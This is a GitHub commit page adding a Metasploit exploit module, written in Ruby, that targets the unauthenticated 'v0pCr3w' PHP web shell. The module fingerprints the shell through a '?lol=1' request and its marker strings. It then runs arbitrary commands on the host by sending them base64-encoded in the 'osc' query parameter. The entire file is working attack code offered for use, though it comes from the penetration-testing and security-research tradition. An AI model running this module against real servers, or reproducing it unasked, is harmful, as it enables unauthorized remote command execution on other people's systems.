Skip to content

Commit bbcf21e

Browse files
author
bwall
committed
Added v0pCr3w webshell remote command execution module
1 parent 49ac3ac commit bbcf21e

File tree

1 file changed

+76
-0
lines changed

1 file changed

+76
-0
lines changed
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Exploit::Remote
4+
5+
include Msf::Exploit::Remote::HttpClient
6+
7+
def initialize(info={})
8+
super(update_info(info,
9+
'Name' => '"v0pCr3w" Web Shell Remote Code Execution',
10+
'Description' => %q{
11+
This module exploits a lack of authentication in the shell developed by v0pCr3w
12+
and is widely reused in automated RFI payloads. This module takes advantage of the
13+
shell's various methods to execute commands.
14+
},
15+
'License' => MSF_LICENSE,
16+
'Author' =>
17+
[
18+
'bwall <bwall[at]openbwall.com>', # vuln discovery & msf module
19+
],
20+
'References' =>
21+
[
22+
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell'],
23+
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0'],
24+
],
25+
'Privileged' => false,
26+
'Payload' =>
27+
{
28+
'Space' => 2000,
29+
'BadChars' => '',
30+
'DisableNops' => true,
31+
'Compat' =>
32+
{
33+
'PayloadType' => 'cmd',
34+
}
35+
},
36+
'Platform' => ['unix', 'win'],
37+
'Arch' => ARCH_CMD,
38+
'Targets' => [['Automatic',{}]],
39+
'DisclosureDate' => 'March 23 2013',
40+
'DefaultTarget' => 0))
41+
42+
register_options(
43+
[
44+
OptString.new('URI',[true, "The path to the v0pCr3w shell", "/"]),
45+
],self.class)
46+
end
47+
48+
def check
49+
uri = normalize_uri(datastore['URI'])
50+
uri += "?lol=1"
51+
52+
shell = send_request_raw({'uri' => uri}, 25)
53+
if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
54+
return Exploit::CheckCode::Vulnerable
55+
end
56+
return Exploit::CheckCode::Safe
57+
end
58+
59+
def http_send_command(cmd, opts = {})
60+
p = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd))
61+
uri = normalize_uri(datastore['URI'])
62+
uri += '?osc=' + p
63+
res = send_request_raw({'uri' => uri}, 25)
64+
if not (res and res.code == 200)
65+
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
66+
end
67+
end
68+
69+
def execute_command(cmd, opts = {})
70+
http_send_command("#{cmd}")
71+
end
72+
73+
def exploit
74+
http_send_command(payload.encoded)
75+
end
76+
end

0 commit comments

Comments
 (0)